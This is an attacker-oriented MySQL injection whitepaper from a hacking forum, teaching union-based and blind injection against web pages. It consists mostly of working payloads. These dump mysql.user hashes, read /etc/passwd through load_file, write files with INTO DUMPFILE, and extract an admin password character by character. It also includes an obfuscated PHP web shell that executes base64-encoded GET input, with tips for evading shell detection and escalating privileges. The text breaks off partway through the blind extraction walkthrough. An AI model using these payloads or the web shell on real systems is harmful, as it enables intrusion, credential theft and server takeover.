Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

SQL Injection Whitepaper


SQL Injection Whitepaper

By ghostghost | 32280 Reads |
0     0

Dear hellboundhackers, I want to give my submission hereby by submitting you my knowledge about mysql injections, I will start off by the basic stuff, then going over to blind I will try to provide a wide range of tips and tricks to learn everyone something.

First of all, to totally understand and exploit this learn mysql, php and about windows and linux servers standard configuration files.

=== Chapter 1 - the basics        ===
=====================================```

While browsing the Internet you will commonly see things in your url like 'http://example.com/index.php?pageid=326', 'http://example.com/index.php?page=home', see login boxes or any other form of being able to input user controlled elements, actually your entire header you are sending is user controlled. Now here is the possibility that the user can input its own data. Sometimes this data is directly speaking to the database and it might be possible for the attacker to change things so it will react different. In the case the database is a mysql database and the attacker is inputting code to let the database output be different than the creator of the original creator of the code had intended then we are talking about a mysql injection.

```markupThis would be a typical example of a sql injection:
url:			http://example.com?pageid=326
the mysql request:	select * from pages where pageid=.$_GET['pageid']```

In order to connect to mysql with php you have to make a connection to the database. This requires a valid user name with password and these are often found in the source of the code, unencrypted.

So as attacker we see the 326 on the screen, what now? How to proof that it is vulnerable? Not hard, try to ask something that is not true, do the same with something that is true.

```markupUrl:			http://example.com/index.php?pageid=326'
the mysql request:	select * from pages where pageid=326'```

Here the mysql will fail, it sees the quote and will fail and not get the pages for you, the result could be that the page is not displaying, that there are mysql error messages on the screen or something like that.

Now on to the next diagnose, we are going to ask if 1=1 is true, after that we are going to ask for 1=2.

```markupurl:			http://example.com/index.php?pageid=326 AND 1=1
the mysql request:	select * from pages where pageid=326 AND 1=1```

```markupurl:			http://example.com/index.php?pageid=326 AND 1=2
the mysql request:	select * from pages where pageid=326 AND 1=2```

If there is nothing missing in situation 1 and situation 2 is giving you a page with missing content or anything else different (might even be in the delay on how long the page loads) then you probably have a mysql injection. It commonly occurs that before it is working you have to use comments to comment away any mysql excecuted later than the user input. By placing '--', '/*', '#' are comments. Here are example url's where comments are enabled:

```markuphttp://example.com/index.php?pageid=326 AND 1=1--
http://example.com/index.php?pageid=326 AND 1=2#
http://example.com/index.php?pageid=326 AND 1=2/*```

Also, i have heard a situation where the web application scans if you are putting 'AND 1=1' or a '=' (equal) character in your url, in this case you have to come up with something else what is true, try things like:

```markuphttp://example.com/index.php?pageid=326 AND 5*4>30-9
http://example.com/index.php?pageid=326 AND 5*4<30-9```

In this example there is * selected, this means that everything will be declared from the table with the corresponding pageid, the creator of the code might only use the columns called 'content' and 'title' while there might be more columns for id, author, creation date, last edited or even more.
In order to find out the amount of columns selected we are going to use the 'order by' command. The 'order by' keyword is used to sort the result-set by a specified column.

```markuptrue:
url:			http://example.com/index.php?pageid=326 order by 1
the mysql request:	select * from pages where pageid=326 order by 1```

```markuptrue:
url:			http://example.com/index.php?pageid=326 order by 2
the mysql request:	select * from pages where pageid=326 order by 2```

```markuptrue:
url:			http://example.com/index.php?pageid=326 order by 3
the mysql request:	select * from pages where pageid=326 order by 3```

```markuptrue:
url:			http://example.com/index.php?pageid=326 order by 4
the mysql request:	select * from pages where pageid=326 order by 4```

```markuptrue:
url:			http://example.com/index.php?pageid=326 order by 5
the mysql request:	select * from pages where pageid=326 order by 5```

```markupfalse:
url:			http://example.com/index.php?pageid=326 order by 6
the mysql request:	select * from pages where pageid=326 order by 6```

From here i am going to make use of the command union, union is not supported in all version of mysql, if it is not supported you have to go on to blind sql injections. I would advise you to read this section, it is very usefull information.
union is used to combine the result from multiple select statements into a single result set. Here i will be using union all because the union operator only selects distrinct values by default but by using union all it will allow duplicate values.

```markupurl:			http://example.com/index.php?pageid=326 UNION ALL SELECT 1,2,3,4,5,6
the mysql request:	select * from pages where pageid=326 UNION ALL SELECT 1,2,3,4,5,6```

If it does not work then try to find a nothing containing id, -1 is most of the times a nothing containing id. You can also try for a very, very high id but you will have the risk of overloading the mysql database if it is coded really bad.

If you see number 2 where the text should have been and somewhere else a 3 where the author should have been then you got a vulnerable version. It means that the creator only used the second column, containing the content and the third column which contained the author. The first column is usualy used for ID, you wont see this one back alot on the screen unless it is used for keeping track of numbers for trouble tickets in a ticket system or something.

```markupurl:			http://example.com/index.php?pageid=326 UNION ALL SELECT 1,version(),3,4,5,6
the mysql request:	select * from pages where pageid=326 UNION ALL SELECT 1,version(),3,4,5,6```

Now you see the version where earlyer was the 2. This comes straight from mysql. Now the next logical step is to see how many rights you got, in order to select things from the mysql.user table you have to have alot of rights. By trying to select somehting from there you got an easy way to find out if you have too many rights.

```markupurl:			http://example.com/index.php?pageid=326 UNION ALL SELECT 1,version(),3,4,5,6 from mysql.user
the mysql request:	select * from pages where pageid=326 UNION ALL SELECT 1,version(),3,4,5,6 from mysql.user```

If this works you want to get the hashes and users of the mysql.user table.

```markuproot
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 0,1```

```markuproot
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 1,1```

```markuproot
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 2,1```

```markupsystem maintainer
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 3,1```

```markupfrom here usually start the manually inserted users
http://example.com/index.php?pageid=326
UNION ALL SELECT 1,concat(user, 0x3a, password),3,4,5,6 from mysql.user limit 4,1```

Concat is to return concatenated strings, limit 0,1 is used to loop through the result, the 0 tells to return the first row that is outputted while if it would be 1 it would go to the second row and so on. The 1 tells how many rows to output, keep it 1 in order to keep outputting only the first row.
http://passcracking.ru/ is a very handy site to decode your mysql hashes, if you want to do it manually then try john the ripper or ask google for the hash, it might have indexed it somewhere ;) google finds a lot. Put quotes around the hash, its better for the result. Here is an example:
http://www.google.nl/search?hl=en&q=%22*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29%22&btnG=Google+Search&aq=f&oq=
3a is the hex representation of the ascii char ':', by putting a 0x before a value mysql will understand it hash to convert a hex character to an ascii char. This way you can get non executing quotes with 0x22 and 0x27.
See this picture for more a good overview of hex - ascii characters.
http://www.asciitable.com/asciifull.gif

So the hashes are too strong to crack? no problem, we are going to see if we can write to things.
http://dev.mysql.com/doc/refman/5.0/en/select.html
There they mention you can use select things and store them in dump files.

(from dev.mysql.com about select)
```markupSELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]```

so we would choose union all select 1,'content',3,4,5,6 into dumpfile 'file_name'.

in our situation:
http://example.com/index.php?pageid=326 UNION ALL SELECT 1,'test',3,4,5,6 into dumpfile '/tmp/write'

Now you might wonder like 'Hey but in what directory is the website that i am exploiting' well, apache made something handy for this, its called a virtual hosts configuration file, its always searching a little bit where it is located but its commonly easy to find.

Here you can find some handy information in this process:
http://wiki.apache.org/httpd/DistrosDefaultLayout

```markupYou can open the files with:
http://example.com/index.php?pageid=326 UNION ALL SELECT 1,concat('<pre>', load_file('/etc/passwd'), '</pre>'),3,4,5,6
http://example.com/index.php?pageid=326 UNION ALL SELECT 1,concat('<pre>', load_file('/etc/hosts'), '</pre>'),3,4,5,6```
I love to use the <pre> tag during this process, this way it will make a much neater result. concat is to return concatenated strings.
Also to explore the infrastructure of the server you can use the standard mysql variables here is a list of variables what might work:

```markupmysql> show variables;
+---------------------------------+
| Variable_name | Value |
+---------------------------------+
| auto_increment_increment | |
| auto_increment_offset | |
| automatic_sp_privileges | |
| back_log | |
| basedir | |
| binlog_cache_size | |
| bulk_insert_buffer_size | |
| character_set_client | |
| character_set_connection | |
| character_set_database | |
| character_set_filesystem | |
| character_set_results | |
| character_set_server | |
| character_set_system | |
| character_sets_dir | |
| collation_connection | |
| collation_database | |
| collation_server | |
| completion_type | |
| concurrent_insert | |
| connect_timeout | |
| datadir | |
| date_format | |
| datetime_format | |
| default_week_format | |
| delay_key_write | |
| delayed_insert_limit | |
| delayed_insert_timeout | |
| delayed_queue_size | |
| div_precision_increment | |
| keep_files_on_create | |
| engine_condition_pushdown | |
| expire_logs_days | |
| flush | |
| flush_time | |
| ft_boolean_syntax | |
| ft_max_word_len | |
| ft_min_word_len | |
| ft_query_expansion_limit | |
| ft_stopword_file | |
| group_concat_max_len | |
| have_archive | |
| have_bdb | |
| have_blackhole_engine | |
| have_compress | |
| have_crypt | |
| have_csv | |
| have_dynamic_loading | |
| have_example_engine | |
| have_federated_engine | |
| have_geometry | |
| have_innodb | |
| have_isam | |
| have_merge_engine | |
| have_ndbcluster | |
| have_openssl | |
| have_ssl | |
| have_query_cache | |
| have_raid | |
| have_rtree_keys | |
| have_symlink | |
| hostname | |
| init_connect | |
| init_file | |
| init_slave | |
| innodb_additional_mem_pool_size | |
| innodb_autoextend_increment | |
| innodb_buffer_pool_awe_mem_mb | |
| innodb_buffer_pool_size | |
| innodb_checksums | |
| innodb_commit_concurrency | |
| innodb_concurrency_tickets | |
| innodb_data_file_path | |
| innodb_data_home_dir | |
| innodb_adaptive_hash_index | |
| innodb_doublewrite | |
| innodb_fast_shutdown | |
| innodb_file_io_threads | |
| innodb_file_per_table | |
| innodb_flush_log_at_trx_commit | |
| innodb_flush_method | |
| innodb_force_recovery | |
| innodb_lock_wait_timeout | |
| innodb_locks_unsafe_for_binlog | |
| innodb_log_arch_dir | |
| innodb_log_archive | |
| innodb_log_buffer_size | |
| innodb_log_file_size | |
| innodb_log_files_in_group | |
| innodb_log_group_home_dir | |
| innodb_max_dirty_pages_pct | |
| innodb_max_purge_lag | |
| innodb_mirrored_log_groups | |
| innodb_open_files | |
| innodb_rollback_on_timeout | |
| innodb_support_xa | |
| innodb_sync_spin_loops | |
| innodb_table_locks | |
| innodb_thread_concurrency | |
| innodb_thread_sleeep_delay | |
| interactive_timeout | |
| join_buffer_size | |
| key_buffer_size | |
| key_cache_age_threshold | |
| key_cache_block_size | |
| key_cache_division_limit | |
| language | |
| large_files_support | |
| large_page_size | |
| large_pages | |
| lc_time_names | |
| license | |
| local_infile | |
| locked_in_memory | |
| log | |
| log_bin | |
| log_bin_trust_function_creators | |
| log_error | |
| log_queries_not_using_indexes | |
| log_slave_updates | |
| log_slow_queries | |
| log_warnings | |
| long_query_time | |
| low_priority_updates | |
| lower_case_file_system | |
| lower_case_table_names | |
| max_allowed_packet | |
| max_binlog_cache_size | |
| max_binlog_size | |
| max_connect_errors | |
| max_connections | |
| max_delayed_threads | |
| max_error_count | |
| max_heap_table_size | |
| max_insert_delayed_threads | |
| max_join_size | |
| max_length_for_sort_data | |
| max_prepared_stmt_count | |
| max_relay_log_size | |
| max_seeks_for_key | |
| max_sort_length | |
| max_sp_recursion_depth | |
| max_tmp_tables | |
| max_user_connections | |
| max_write_lock_count | |
| multi_range_count | |
| myisam_data_pointer_size | |
| myisam_max_sort_file_size | |
| myisam_recover_options | |
| myisam_repair_threads | |
| myisam_sort_buffer_size | |
| myisam_stats_method | |
| ndb_autoincrement_prefetch_sz | |
| ndb_force_send | |
| ndb_use_exact_count | |
| ndb_use_transactions | |
| ndb_cache_check_time | |
| ndb_connectstring | |
| net_buffer_length | |
| net_read_timeout | |
| net_retry_count | |
| net_write_timeout | |
| new | |
| old_passwords | |
| open_files_limit | |
| optimizer_prune_level | |
| optimizer_search_depth | |
| pid_file | |
| plugin_dir | |
| port | |
| preload_buffer_size | |
| profiling | |
| profiling_history_size | |
| protocol_version | |
| query_alloc_block_size | |
| query_cache_limit | |
| query_cache_min_res_unit | |
| query_cache_size | |
| query_cache_type | |
| query_cache_wlock_invalidate | |
| query_prealloc_size | |
| range_alloc_block_size | |
| read_buffer_size | |
| read_only | |
| read_rnd_buffer_size | |
| relay_log | |
| relay_log_index | |
| relay_log_info_file | |
| relay_log_purge | |
| relay_log_space_limit | |
| rpl_recovery_rank | |
| secure_auth | |
| secure_file_priv | |
| server_id | |
| skip_external_locking | |
| skip_networking | |
| skip_show_database | |
| slave_compressed_protocol | |
| slave_load_tmpdir | |
| slave_net_timeout | |
| slave_skip_errors | |
| slave_transaction_retries | |
| slow_launch_time | |
| socket | |
| sort_buffer_size | |
| sql_big_selects | |
| sql_mode | |
| sql_notes | |
| sql_warnings | |
| ssl_ca | |
| ssl_capath | |
| ssl_cert | |
| ssl_cipher | |
| ssl_key | |
| storage_engine | |
| sync_binlog | |
| sync_frm | |
| system_time_zone | |
| table_cache | |
| table_lock_wait_timeout | |
| table_type | |
| thread_cache_size | |
| thread_stack | |
| time_format | |
| time_zone | |
| timed_mutexes | |
| tmp_table_size | |
| tmpdir | |
| transaction_alloc_block_size | |
| transaction_prealloc_size | |
| tx_isolation | |
| updatable_views_with_limit | |
| version | |
| version_comment | |
| version_compile_machine | |
| version_compile_os | |
| wait_timeout | |
+---------------------------------+
237 rows in set (0.00 sec)

user()
database()
schema()```

By adding @@ at the front of the variable and asking for it it will most of the time return its value. @@datadir is a example. Note that i blanked out every value here, just for personal reasons.

So you found the directory where your website is in? Lets go on then, upload a simple upload script and upload a shell of your choice, i would advise you to make your own shell, lots of detection things are out there to locate the c99, c100, r57, locus and netshells. Only a couple of lines could create a web shell here is an example with a basic obscure technique on board, i have to mention there are detection things out there that search for exec() commands and things like that, these are harder to avoid but are rarely found:

```markup<?php
exec(base64_decode($_GET[')']), $_a);
for ($i=0; $i<count($_a); $i++){echo &quot;<div style=&quot;margin: 5px; border: solid 2px 00000;&quot;>&quot;.htmlspecialchars($_a[$i]).&quot;</div>&quot;;}
?>```

The first line will tell its php, second line will execute the base64 encoded get request ')' and the third line will display everything on the screen in a quite neat way and line four will tell that you are done with a block of php again.
A request to display the content of the current folder will look like:
```markuphttp://example.com/index.php?)=bHM=```
bHM= = ls (base64)
```markuphttp://home2.paulschou.net/tools/xlate/```
can help you encoding your requests.

If you are comfortable you can also dump a upload script in a file with which you then again upload your favorite shell and further elevate your rights from there. There is a good video example of this situation in a video made by Lidloses_Auge located here: http://str0ke213.tradebit.com/pub/8/92.flv

If you found the website directory where you want to upload your file but you don't have enough rights, like only able to load_file('') and not write you should load index.php, see where the connection is made with mysql and see the password in plaintext. Then try connecting through phpmyadmin commonly just put /phpmyadmin behind the url, if you can not find it this way go and find a domain on the same server, most of the times its possible to connect to the mysql database on the same server through a phpmyadmin on another domain. Its a very funny mistake about always made. Note that it commonly occurs that someone puts his password in a string like $password = &quot;a1654&#92;&quot;&#92;&quot;aaafe2==&quot;; be sure that you deleted the escaping characters before connecting or it wont work, you will just end up having the wrong password.

If you are not having close to root rights so not able to do this fancy stuff, you are still far from outnumbered, you should datamine the information_schema.columns table and see what tables and columns you do have rights for. Information_schema is a database where information is stored for mysql, here you can find table names, column names and things like that.

```markuphttp://example.com/index.php?pageid=326 UNION ALL SELECT 1,concat(TABLE_SCHEMA, 0x3a, TABLE_NAME, 0x3a, COLUMN_NAME),3,4,5,6 from information_schema.columns limit 0, 1```

loop through this table until you found the right information like a table called users and a column in it with password. Blindly asking for the table users, user, member, members, etc etc is also not a not commonly found technique but by mining the information_schema you can be more sure about the result.

```markup========================================
=== Chapter 2 - blind sql injections ===
========================================```

So you see a different in delay in the request, missing a picture, missing anything in any way when asking for 1=2 and 1=1 is giving no problems or you dont have the right version for union? Well, you came to a typical blind sql injection!
Blind SQL injections are alot more found than mysql injections, they are as easy to exploit as normal injections with some dedication but they take a lot longer to exploit because you basicly can only ask for 1 thing at a time.

```markuphttp://example.com/index.php?pageid=326 AND 1=1 #picture loads
http://example.com/index.php?pageid=326 AND 1=2 #picture doesn't load```

Here you should try to make sub selects:

```markuphttp://example.com/index.php?pageid=326 (select 1)=1
http://example.com/index.php?pageid=326 (select 1)=2```

If this does works you should try substring() substring returns the substring as specified.
substring('value', 'selected point to start', 'amount of letters to return from the selected point')

```markuphttp://example.com/index.php?pageid=326 AND substring('123', 1, 1)=1 # true, character 1 is 1
http://example.com/index.php?pageid=326 AND substring('123', 2, 1)=2 # true, character 2 is 2
http://example.com/index.php?pageid=326 AND substring('123', 3, 1)=3 # true, character 3 is 3```

So how to exploit this? Lets start by asking the version!

```markuphttp://example.com/index.php?pageid=326 AND substring(version(), 1, 1)=1 # image doesn't load, its false
http://example.com/index.php?pageid=326 AND substring(version(), 2, 1)=2 # image doesn't load, its false
http://example.com/index.php?pageid=326 AND substring(version(), 3, 1)=3 # image doesn't load, its false
http://example.com/index.php?pageid=326 AND substring(version(), 4, 1)=4 # image doesn't load, its false
http://example.com/index.php?pageid=326 AND substring(version(), 5, 1)=5 # image loads, its true, the first character in this case is 5 so the version is 5```

You might now already see that this is taking way more time than the usual exploit, it is resulting in the same result when exploited but the amount of time it takes asks for automation. We will come to this later.
Here comes an example of how to select a table, you must always be sure to only select 1 row otherwise it wont work, here i am using the where to find the admin user. the ascii() is to return a numeric value of left-most character, here i am asking for a value bigger than null bytes if this is true i am going to increment it with 10 untill it gives an error and then i am going to ask for the exact value.:
```markuphttp://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>100 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))>95 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))=96 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 1, 1))=97 #true```

Then you can locally go to mysql and ask for the value.

```markupmysql> select char('97');
+------------+
| char('97') |
+------------+
| a |
+------------+
1 row in set (0.00 sec)```

So the first character is a, lets move on to the next value.

```markuphttp://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>100 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))>95 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=96 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=97 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=98 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=99 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 2, 1))=100 #true```

```markupmysql> select char(97, 100);
+---------------+
| char(97, 100) |
+---------------+
| ad |
+---------------+
1 row in set (0.01 sec)```

```markupDuring a blind sql injection its smart to think, in this case it should obvious be admin followed by a ':' and then the password. So lets try it!
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 1, 1))=97 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 2, 1))=100 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 3, 1))=109 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 4, 1))=105 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 5, 1))=110 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) where username='admin' from users limit 0,1), 6, 1))=58 #true```
```markupmysql> select char(97, 100, 109, 105, 110, 58);
+----------------------------------+
| char(97, 100, 109, 105, 110, 58) |
+----------------------------------+
| admin: |
+----------------------------------+
1 row in set (0.00 sec)```

Now that we got the first part we still have to do the 'secret' part, the password, so lets get going:

```markuphttp://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>100 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>110 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>120 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))>115 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=111 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=112 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=113 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=114 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 7, 1))=115 #true```

```markupmysql> select char(97, 100, 109, 105, 110, 58, 115);
+---------------------------------------+
| char(97, 100, 109, 105, 110, 58, 115) |
+---------------------------------------+
| admin:s |
+---------------------------------------+
1 row in set (0.01 sec)```

```markuphttp://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>100 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>110 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))>105 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 8, 1))=101 #true```

```markupmysql> select char(97, 100, 109, 105, 110, 58, 115, 101);
+--------------------------------------------+
| char(97, 100, 109, 105, 110, 58, 115, 101) |
+--------------------------------------------+
| admin:se |
+--------------------------------------------+
1 row in set (0.00 sec)```

```markuphttp://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>0 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>10 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>20 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>30 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>40 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>50 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>60 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>70 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>80 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>90 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>100 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))>95 #true
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))=96 #false
http://example.com/index.php?pageid=326 AND ascii(substring((select concat(username, 0x3a, password) from users where username='admin' limit 0,1), 9, 1))=97 #false
